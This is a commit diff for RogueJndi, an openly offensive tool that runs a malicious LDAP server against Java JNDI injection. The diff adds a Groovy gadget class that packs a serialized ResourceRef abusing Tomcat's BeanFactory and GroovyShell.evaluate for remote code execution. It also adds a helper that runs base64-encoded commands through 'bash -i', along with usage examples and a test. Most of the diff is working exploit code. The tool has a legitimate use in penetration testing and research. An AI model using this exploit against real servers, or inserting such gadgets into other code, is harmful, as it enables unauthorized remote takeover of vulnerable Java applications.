v1.1: new Groovy gadget by Orange Tsai

README.md

@@ -5,7 +5,7 @@ A malicious LDAP server for JNDI injection attacks.
 The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br> 
 In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:
 ```java
-InitialContext.lookup("ldap://your_server.com:1389/o=reference");
+InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
 ```
 It will initiate a connection from the vulnerable client to the local LDAP server.
 Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution. 
@@ -16,6 +16,7 @@ In addition to the known JNDI attack methods(via remote classloading in referenc
 ### Supported payloads
 * [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191 
 * [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** 
+* [Groovy.java](/src/main/java/artsploit/controllers/Groovy.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** + **groovy.lang.GroovyShell**
 * [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory**
 * [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory**
 
@@ -47,7 +48,7 @@ As an alternative to the "-c" option, you can modify the [ExportObject.java](/sr
 
 ### Example:
 ```
-$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
 +-+-+-+-+-+-+-+-+-+
 |R|o|g|u|e|J|n|d|i|
 +-+-+-+-+-+-+-+-+-+
@@ -56,6 +57,7 @@ Starting LDAP server on 0.0.0.0:1389
 Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
 Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
 Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
+Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
 Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
 Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
 Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
@@ -75,9 +77,11 @@ This software is provided solely for educational purposes and/or for testing sys
 * [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks
 * [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository
 * [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research
+* [Orange Tsai](https://twitter.com/orange_8361) and [Welk1n](https://github.com/welk1n) for the Apache + Groovy gadget
 
 ### Links
 * An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog
+* [How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM](https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html) 
 
 ### Authors
-[Michael Stepankin](https://twitter.com/artsploit), Veracode Research
+[Michael Stepankin](https://twitter.com/artsploit)

pom.xml

@@ -4,7 +4,7 @@
 
     <groupId>RogueJndi</groupId>
     <artifactId>RogueJndi</artifactId>
-    <version>1.0</version>
+    <version>1.1</version>
 
     <packaging>jar</packaging>
 
@@ -38,6 +38,12 @@
             <version>0.9.12</version>
         </dependency>
 
+        <dependency>
+            <groupId>org.codehaus.groovy</groupId>
+            <artifactId>groovy</artifactId>
+            <version>2.4.5</version>
+        </dependency>
+
         <dependency>
             <groupId>org.apache.commons</groupId>
             <artifactId>commons-text</artifactId>

src/main/java/artsploit/Utilities.java

@@ -4,6 +4,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 import java.util.ArrayList;
+import java.util.Base64;
 
 public class Utilities {
 
@@ -40,4 +41,15 @@ public class Utilities {
         else
             return baseDN.substring(startIndex, endIndex);
     }
+
+    /**
+     * Encode bash command with Base64 to safely use within any script
+     * @param command
+     * @return
+     */
+    public static String getBase64CommandTpl(String command) {
+        return "bash -c {echo," +
+                Base64.getEncoder().encodeToString(command.getBytes()) +
+                "}|{base64,-d}|{bash,-i}";
+    }
 }

src/main/java/artsploit/controllers/Groovy.java

@@ -0,0 +1,51 @@
+package artsploit.controllers;
+
+import artsploit.Config;
+import artsploit.annotations.LdapMapping;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import org.apache.naming.ResourceRef;
+
+import javax.naming.StringRefAddr;
+
+import static artsploit.Utilities.getBase64CommandTpl;
+import static artsploit.Utilities.serialize;
+
+/**
+ * Yields:
+ *  RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory}
+ *  When bean is created on the server side, we can control its class name and setter methods,
+ *   so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script
+ *
+ * @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details
+ *
+ * Requires:
+ *  Tomcat and Groovy in classpath
+ *
+ * @author https://twitter.com/orange_8361 and https://github.com/welk1n
+ */
+@LdapMapping(uri = { "/o=groovy" })
+public class Groovy implements LdapController {
+
+    String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command));
+
+    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+
+        System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
+
+        Entry e = new Entry(base);
+        e.addAttribute("javaClassName", "java.lang.String"); //could be any
+
+        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
+        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
+        ref.add(new StringRefAddr("forceString", "x=evaluate"));
+        ref.add(new StringRefAddr("x",payload));
+
+        e.addAttribute("javaSerializedData", serialize(ref));
+
+        result.sendSearchEntry(e);
+        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+    }
+}

src/main/java/artsploit/controllers/Tomcat.java

@@ -22,6 +22,7 @@ import static artsploit.Utilities.serialize;
  * @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
  *
  * Requires:
+ *  Tomcat 8+ or SpringBoot 1.2.x+ in classpath
  *  - tomcat-embed-core.jar
  *  - tomcat-embed-el.jar
  *

src/test/java/RogueJndiTest.java

@@ -22,6 +22,7 @@ public class RogueJndiTest {
         RogueJndi.main(new String[0]);
     }
 
+    @Ignore
     @Test
     public void reference() throws Exception {
         System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
@@ -33,6 +34,11 @@ public class RogueJndiTest {
         testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat");
     }
 
+    @Test
+    public void groovy() throws Exception {
+        testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=groovy");
+    }
+
     @Ignore
     @Test
     public void websphere1() throws Exception {